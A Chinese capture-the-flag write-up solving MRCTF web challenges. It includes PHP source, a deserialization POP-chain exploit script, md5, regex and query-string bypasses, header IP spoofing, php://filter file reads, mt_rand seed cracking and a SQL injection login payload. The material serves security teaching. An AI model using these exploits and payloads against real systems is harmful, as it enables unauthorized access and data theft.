目录
北邮新生赛,纪念一下 Nep 登顶(大佬们都是单人打,就我们不要脸的组了个队) 23333

ez_bypass
直接给了源码:
<?php include 'flag.php'; $flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}'; if(isset($_GET['gg']) && isset($_GET['id'])) { $id=$_GET['id']; $gg=$_GET['gg']; if (md5($id) === md5($gg) && $id !== $gg) { echo 'You got the first step'; if(isset($_POST['passwd'])) { $passwd=$_POST['passwd']; if (!is_numeric($passwd)) { if($passwd==1234567) { echo 'Good Job!'; highlight_file('flag.php'); die('By Retr_0'); } else { echo "can you think twice??"; } } else{ echo 'You can not get it !'; } } else{ die('only one way to get the flag'); } } else { echo "You are not a real hacker!"; } } else{ die('Please input first'); } ?>
先要绕一个 md5,直接上数组大法,后面接一个弱类型判断,1234567a 即可绕过。

你传你🐎呢
前端写的非常考究

文件上传,简单测试了一下不能传 php、phtml 等等后缀,但是好像可以传 .htaccess,更换服务器解析方式直接一把梭:

PYwebsite
一个用来 py flag 的网站,打钱的二维码是假的,而授权码提交之后抓不到包,看一下 js:
<script> function enc(code){ hash = hex_md5(code); return hash; } function validate(){ var code = document.getElementById("vcode").value; if (code != ""){ if(hex_md5(code) == "0cd4da0223c0b280829dc3ea458d655c"){ alert("您通过了验证!"); window.location = "./flag.php" }else{ alert("你的授权码不正确!"); } }else{ alert("请输入授权码"); } } </script>
验证完成之后跳转到 flag.php,我们直接访问就好:

鬼才信他有后台验证,但是描述中说他自己可以看到 flag,构造 xff 头绕过:

Ezpop
反序列化题目,需要自己审计构造 pop 链:
<?php class Modifier { protected $var; public function append($value){ include($value); } public function __invoke(){ $this->append($this->var); } } class Show{ public $source; public $str; public function __construct($file='index.php'){ $this->source = $file; echo 'Welcome to '.$this->source."<br>"; } public function __toString(){ return $this->str->source; } public function __wakeup(){ if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) { echo "hacker"; $this->source = "index.php"; } } } class Test{ public $p; public function __construct(){ $this->p = array(); } public function __get($key){ $function = $this->p; return $function(); } }
这个题目比较有意思,首先我们先找能读 flag 的点(终点),Test 类可以返回一个可执行函数,看起来很美好,但是实际上不能传参不能套娃的函数利用价值不大;Show 类基本没有能利用的点,而Modifier 类脸上就有一个闪闪发光的可控 include,配合伪协议可以读文件,因此就从这个类作为 pop 链重点;其次 __invoke 的触发条件是我调我自己,也就是说如果 $a 是 Modifier 类,需要进行 $a() 操作才会触发,正好 Test 类的 __get 方法可以满足这一要求;而调用 __get 需要调用一个不存在的变量,这时候肯定就轮到 show 类出场了;这里还需要稍微构造一下,因为单单一个 this->source 并不能触发 __get(因为 this 不是 Test 类),所以需要 show 稍微套个娃,让 show->source 成为一个新的 show 类,这样在 preg_match 时触发 __toString,将第二个 show 类的 str 定义为上文的 Test 类,exp:
<?php // Author : imagin // Blog : https://imagin.vip // Filename : exp.php $a = new Test(); $b = new Modifier(); $a->p = $b; $show1 = new Show(); $show2 = new Show(); $show1->source = $show2; $show2->str = $a; echo urlencode(serialize($show1));
Note:跟 Knight 师傅讨论了一下,经过测试发现 php7.1+ 对于类反序列化的属性关键字不敏感,由于环境实在是难搞,只测了 5.6.23 7.0.10 7.1.2 7.1.23 7.3.14 这几个版本,发现只要版本大于 7.1.2 就有和这个特性,测试代码:
<?php class A{ protected $a; public function __destruct(){ echo $this->a; } } $a='O%3A1%3A%22A%22%3A1%3A%7Bs%3A1%3A%22a%22%3Bs%3A8%3A%22it+is+ok%22%3B%7D'; $b = unserialize(urldecode($a)); var_dump($b); phpinfo();

套娃
查看源码有php源码:
$query = $_SERVER['QUERY_STRING']; if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){ die('Y0u are So cutE!'); } if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){ echo "you are going to the next ~"; }
QUERY_STRING 里不能有下划线和 %5f,但是这里就禁了小写的 5f,f 大写就可以绕过(有师傅告诉了个新姿势, . 会被 php 解析成下划线,学到了),其次绕过头尾固定的正则,直接在最后加个 %0a:

告诉我们一个新的地址,查看源码发现有 jsfuck 编码,复制下来放到 console 里执行:

post 过去对应的键,得到源码:
<?php // secrettw.php error_reporting(0); include 'takeip.php'; ini_set('open_basedir','.'); include 'flag.php'; if(isset($_POST['Merak'])){ highlight_file(__FILE__); die(); } function change($v){ $v = base64_decode($v); $re = ''; for($i=0;$i<strlen($v);$i++){ $re .= chr ( ord ($v[$i]) + $i*2 ); } return $re; } echo 'Local access only!'."<br/>"; $ip = getIp(); if($ip!='127.0.0.1') echo "Sorry,you don't have permission! Your ip is :".$ip; if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){ echo "Your REQUEST is:".change($_GET['file']); echo file_get_contents(change($_GET['file'])); }
首先要伪造下 ip,xff 不行(本次比赛已经考过一次),那就用 client-IP,之后用 data 协议绕过 file_get_contents,最后 filter 伪协议可以读源码,但是要稍微逆向一下 change 函数(+ 改成 – 就行),脚本:
function encode($e){ $convert = ""; for($i = 0; $i < strlen($e); $i++){ $convert .= chr ( ord ($e[$i]) - $i*2 ); } return base64_encode($convert); } $a = encode('php://filter/read=convert.base64-encode/resource=flag.php'); echo change($a);
最后的请求:

Ezaudit
御剑扫不到备份的文件,后来师傅告诉了才知道有 www.zip,下载源码审计:
<?php header('Content-type:text/html; charset=utf-8'); error_reporting(0); if(isset($_POST['login'])){ $username = $_POST['username']; $password = $_POST['password']; $Private_key = $_POST['Private_key']; if (($username == '') || ($password == '') ||($Private_key == '')) { // 若为空,视为未填写,提示错误,并3秒后返回登录界面 header('refresh:2; url=login.html'); echo "用户名、密码、密钥不能为空啦,crispr会让你在2秒后跳转到登录界面的!"; exit; } else if($Private_key != '*************' ) { header('refresh:2; url=login.html'); echo "假密钥,咋会让你登录?crispr会让你在2秒后跳转到登录界面的!"; exit; } else{ if($Private_key === '************'){ $getuser = "SELECT flag FROM user WHERE username= 'crispr' AND password = '$password'".';'; $link=mysql_connect("localhost","root","root"); mysql_select_db("test",$link); $result = mysql_query($getuser); while($row=mysql_fetch_assoc($result)){ echo "<tr><td>".$row["username"]."</td><td>".$row["flag"]."</td><td>"; } } } } // genarate public_key function public_key($length = 16) { $strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; $public_key = ''; for ( $i = 0; $i < $length; $i++ ) $public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1); return $public_key; } //genarate private_key function private_key($length = 12) { $strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; $private_key = ''; for ( $i = 0; $i < $length; $i++ ) $private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1); return $private_key; } $Public_key = public_key(); //$Public_key = KVQP0LdJKRaV3n9D how to get crispr's private_key???
看出来要登录需要破解密钥,看了看生产密钥的两个函数,猜测是用同一个随机数生成的,用 php_mt_seed 爆破一下:

得到种子后发现不能直接利用23333,需要先生成一个公钥再生产私钥,才能得到正确的私钥,之后登陆的点有个简单的注入,稍微绕一下,最后的payload:
login=1&username=admin&password='or'1'='1&Private_key=XuNhoueCDCGc
5毛不能再多了
23333 富婆dddd